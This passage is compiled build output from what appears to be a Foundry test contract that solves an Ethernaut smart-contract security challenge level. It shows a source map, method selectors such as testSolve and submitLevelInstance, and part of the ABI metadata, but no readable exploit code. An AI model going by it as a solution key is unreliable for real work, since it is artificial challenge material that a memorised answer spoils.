-1:-1;1491:7:139;1466:9;1446:19;:58::i;:::-;1427:8;:78;;-1:-1:-1;;1427:78:139;-1:-1:-1;;;;;1427:78:139;;;;;;;;;1569:88;;-1:-1:-1;;;1569:88:139;;;;;12027:74:155;;;;12137:66;12117:18;;;12110:94;-1:-1:-1;;1569:7:139;;;;12000:18:155;;1569:88:139;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1561:97;;1515:154;;1686:6;-1:-1:-1;;;;;1679:25:139;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1763:33:139;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1763:33:139;;;;;1716:81;;;;;-1:-1:-1;;;;;1716:31:139;;;-1:-1:-1;1716:31:139;;-1:-1:-1;1716:81:139;;1756:4;;1763:33;1716:81;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;317:28:0;309:37;;-1:-1:-1;;;;;1807:12:139;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;773:1055;;;749:1079::o;1324:346:154:-;1418:16;317:28:0;309:37;;-1:-1:-1;;;;;1446:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1471:50:154;;;;;-1:-1:-1;;;;;865:55:155;;;1471:50:154;;;847:74:155;1471:29:154;;;-1:-1:-1;1471:29:154;;-1:-1:-1;1508:5:154;;820:18:155;;1471:50:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1531:23;317:28:0;309:37;;-1:-1:-1;;;;;1557:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1557:20:154;;;;;;;;;;;;:::i;:::-;1531:46;;1623:7;1648:1;1631:7;:14;:18;;;;:::i;:::-;1623:27;;;;;;;;:::i;:::-;;;;;;;:34;;;1658:1;1623:37;;;;;;;;:::i;:::-;;;;;;;1615:46;;1588:75;;1436:234;1324:346;;;;;:::o;2452:134:5:-;2499:33;2563:16;2544:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2544:35:5;;;;;;;;;;;;;;;;;;;;;;;2452:134;:::o;2362:480:154:-;2429:12;2453:18;317:28:0;309:37;;-1:-1:-1;;;;;2474:14:154;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2474:16:154;;;;;;;;;;;;:::i;:::-;2453:37;;2500:18;2547:4;2586:12;2609;2560:71;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;2560:71:154;;;;;;;;;;2533:100;;;2560:71;2533:100;;:::i;:::-;;;;-1:-1:-1;;2533:100:154;;;;;;;;;;2664:17;;;2533:100;-1:-1:-1;2643:18:154;;2664:11;;;;:17;;2533:100;;2664:17;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2664:17:154;;;;;;;;;;;;:::i;:::-;2643:38;;2691:17;2711:34;;;;;;;;;;;;;;;;;;:4;:14;;:34;;;;:::i;:::-;2691:54;;2820:4;2814:11;2807:4;2801;2797:15;2794:1;2787:39;2779:47;2362:480;-1:-1:-1;;;;;;2362:480:154:o;3360:151:5:-;3409:42;3485:19;3463:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3463:41:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3360:151;:::o;3221:133::-;3267:33;3331:16;3312:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3312:35:5;;;;;;;;;;;;;;;;;;;;;;3221:133;:::o;2922:141::-;2970:35;3038:18;3017:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3017:39:5;;;;;;;;;;;;;;;;;;;;;;2922:141;:::o;2738:178::-;2794:48;2883:26;2854:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2854:55:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2854:55:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;740:370:154;794:24;830:30;885:7;863:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;863:30:154;;830:63;;908:9;903:178;927:7;923:1;:11;903:178;;;955:20;978:4;-1:-1:-1;;;;;978:23:154;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1017:24;;;;;-1:-1:-1;;;;;19312:55:155;;1017:24:154;;;19294:74:155;1031:9:154;19384:18:155;;;19377:34;955:48:154;;-1:-1:-1;1017:7:154;;;;19267:18:155;;1017:24:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1066:4;1055:5;1061:1;1055:8;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1055:15:154;;;:8;;;;;;;;;;;:15;-1:-1:-1;936:3:154;;903:178;;;-1:-1:-1;1098:5:154;740:370;-1:-1:-1;;740:370:154:o;2296:128:139:-;2348:6;;2334:21;;-1:-1:-1;;;2334:21:139;;-1:-1:-1;;;;;2348:6:139;;;2334:21;;;847:74:155;2334:13:139;;;;820:18:155;;2334:21:139;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2396:9:139;;2407:8;;2365:52;;-1:-1:-1;2376:40:139;;-1:-1:-1;;;;;;2396:9:139;;;;2407:8;2376:19;:40::i;:::-;2365:10;:52::i;:::-;2296:128::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;19703:15:155;;;19685:34;;19755:15;;;19750:2;19735:18;;19728:43;19807:15;;;19802:2;19787:18;;19780:43;19612:2;19597:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2080:161:139;2117:67;;;;;20035:2:155;2117:67:139;;;20017:21:155;20074:2;20054:18;;;20047:30;20113:34;20093:18;;;20086:62;20184:18;20164;;;20157:46;2117:15:139;;;;20220:19:155;;2117:67:139;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2214:9:139;;2225:8;;2194:40;;-1:-1:-1;;;;;;2214:9:139;;;;-1:-1:-1;2225:8:139;2194:19;:40::i;:::-;;2080:161::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;-1:-1:-1;;;1377:39:1;;:7;:39;;;19294:74:155;;;1398:17:1;19384:18:155;;;19377:34;1428:1:1;;1377:7;;19267:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;21015:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20988:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1225:93;1177:141;:::o;2769:147:6:-;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;12215:184;12285:6;12338:2;12326:9;12317:7;12313:23;12309:32;12306:52;;;12354:1;12351;12344:12;12306:52;-1:-1:-1;12377:16:155;;12215:184;-1:-1:-1;12215:184:155:o;12404:338::-;-1:-1:-1;;;;;12583:6:155;12579:55;12568:9;12561:74;12671:2;12666;12655:9;12651:18;12644:30;12542:4;12691:45;12732:2;12721:9;12717:18;12709:6;12691:45;:::i;:::-;12683:53;12404:338;-1:-1:-1;;;;12404:338:155:o;12747:186::-;12810:4;12843:18;12835:6;12832:30;12829:56;;;12865:18;;:::i;:::-;-1:-1:-1;12910:1:155;12906:14;12922:4;12902:25;;12747:186::o;12938:321::-;13013:5;13042:53;13058:36;13087:6;13058:36;:::i;13042:53::-;13033:62;;13118:6;13111:5;13104:21;13158:3;13149:6;13144:3;13140:16;13137:25;13134:45;;;13175:1;13172;13165:12;13134:45;13188:65;13246:6;13239:4;13232:5;13228:16;13223:3;13188:65;:::i;13264:235::-;13317:5;13370:3;13363:4;13355:6;13351:17;13347:27;13337:55;;13388:1;13385;13378:12;13337:55;13410:83;13489:3;13480:6;13474:13;13467:4;13459:6;13455:17;13410:83;:::i;13504:149::-;13583:13;;13605:42;13583:13;13605:42;:::i;:::-;13504:149;;;:::o;13658:2249::-;13775:6;13806:2;13849;13837:9;13828:7;13824:23;13820:32;13817:52;;;13865:1;13862;13855:12;13817:52;13898:9;13892:16;13927:18;13968:2;13960:6;13957:14;13954:34;;;13984:1;13981;13974:12;13954:34;14022:6;14011:9;14007:22;13997:32;;14067:7;14060:4;14056:2;14052:13;14048:27;14038:55;;14089:1;14086;14079:12;14038:55;14118:2;14112:9;14141:63;14157:46;14200:2;14157:46;:::i;14141:63::-;14238:15;;;14320:1;14316:10;;;;14308:19;;14304:28;;;14269:12;;;;14344:19;;;14341:39;;;14376:1;14373;14366:12;14341:39;14408:2;14404;14400:11;14420:1457;14436:6;14431:3;14428:15;14420:1457;;;14515:3;14509:10;14551:2;14538:11;14535:19;14532:39;;;14567:1;14564;14557:12;14532:39;14594:20;;14666:4;14638:16;;;-1:-1:-1;;14634:30:155;14630:41;14627:61;;;14684:1;14681;14674:12;14627:61;14714:22;;:::i;:::-;14779:2;14775;14771:11;14765:18;14812:2;14802:8;14799:16;14796:36;;;14828:1;14825;14818:12;14796:36;14855:17;;14907:2;14899:11;;14895:25;-1:-1:-1;14885:53:155;;14934:1;14931;14924:12;14885:53;14975:2;14971;14967:11;14961:18;15005:63;15021:46;15064:2;15021:46;:::i;15005:63::-;15112:17;;;15210:1;15206:10;;;;15198:19;;15219:2;15194:28;;15151:14;;;;15238:21;;;15235:41;;;15272:1;15269;15262:12;15235:41;15310:2;15306;15302:11;15289:24;;15326:167;15344:8;15337:5;15334:19;15326:167;;;15426:12;;15412:27;;15365:14;;;;15465;;;;15326:167;;;15506:20;;-1:-1:-1;;;15569:2:155;15561:11;;15555:18;15589:16;;;15586:36;;;15618:1;15615;15608:12;15586:36;15658:64;15714:7;15709:2;15698:8;15694:2;15690:17;15686:26;15658:64;:::i;:::-;15653:2;15646:5;15642:14;15635:88;;15759:44;15797:4;15793:2;15789:13;15759:44;:::i;:::-;15754:2;15743:14;;15736:68;15817:18;;-1:-1:-1;15855:12:155;;;;14453;;14420:1457;;;-1:-1:-1;15896:5:155;13658:2249;-1:-1:-1;;;;;;;;13658:2249:155:o;15912:184::-;-1:-1:-1;;;15961:1:155;15954:88;16061:4;16058:1;16051:15;16085:4;16082:1;16075:15;16101:128;16168:9;;;16189:11;;;16186:37;;;16203:18;;:::i;16234:458::-;16314:6;16367:2;16355:9;16346:7;16342:23;16338:32;16335:52;;;16383:1;16380;16373:12;16335:52;16416:9;16410:16;16449:18;16441:6;16438:30;16435:50;;;16481:1;16478;16471:12;16435:50;16504:22;;16557:4;16549:13;;16545:27;-1:-1:-1;16535:55:155;;16586:1;16583;16576:12;16535:55;16609:77;16678:7;16673:2;16667:9;16662:2;16658;16654:11;16609:77;:::i;16697:939::-;17209:7;17204:3;17197:20;17179:3;17246:6;17240:13;17262:74;17329:6;17325:1;17320:3;17316:11;17309:4;17301:6;17297:17;17262:74;:::i;:::-;17399:7;17395:1;17355:16;;;17387:10;;;17380:27;17432:13;;17454:76;17432:13;17516:2;17508:11;;17501:4;17489:17;;17454:76;:::i;:::-;17595:7;17590:2;17549:17;;;;17582:11;;;17575:28;17627:2;17619:11;;16697:939;-1:-1:-1;;;;16697:939:155:o;17641:496::-;17820:3;17858:6;17852:13;17874:66;17933:6;17928:3;17921:4;17913:6;17909:17;17874:66;:::i;:::-;18003:13;;17962:16;;;;18025:70;18003:13;17962:16;18072:4;18060:17;;18025:70;:::i;:::-;18111:20;;17641:496;-1:-1:-1;;;;17641:496:155:o;18142:220::-;18291:2;18280:9;18273:21;18254:4;18311:45;18352:2;18341:9;18337:18;18329:6;18311:45;:::i;18367:437::-;18446:1;18442:12;;;;18489;;;18510:61;;18564:4;18556:6;18552:17;18542:27;;18510:61;18617:2;18609:6;18606:14;18586:18;18583:38;18580:218;;-1:-1:-1;;;18651:1:155;18644:88;18755:4;18752:1;18745:15;18783:4;18780:1;18773:15;18580:218;;18367:437;;;:::o;18809:270::-;18887:6;18940:2;18928:9;18919:7;18915:23;18911:32;18908:52;;;18956:1;18953;18946:12;18908:52;18988:9;18982:16;19007:42;19043:5;19007:42;:::i;20739:125::-;20804:9;;;20825:10;;;20822:36;;;20838:18;;:::i;21051:383::-;21248:2;21237:9;21230:21;21211:4;21274:45;21315:2;21304:9;21300:18;21292:6;21274:45;:::i;:::-;21367:9;21359:6;21355:22;21350:2;21339:9;21335:18;21328:50;21395:33;21421:6;21413;21395:33;:::i;:::-;21387:41;21051:383;-1:-1:-1;;;;;21051:383:155:o;21439:335::-;21518:6;21571:2;21559:9;21550:7;21546:23;21542:32;21539:52;;;21587:1;21584;21577:12;21539:52;21620:9;21614:16;21653:18;21645:6;21642:30;21639:50;;;21685:1;21682;21675:12;21639:50;21708:60;21760:7;21751:6;21740:9;21736:22;21708:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","done()":"ae8421e1","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\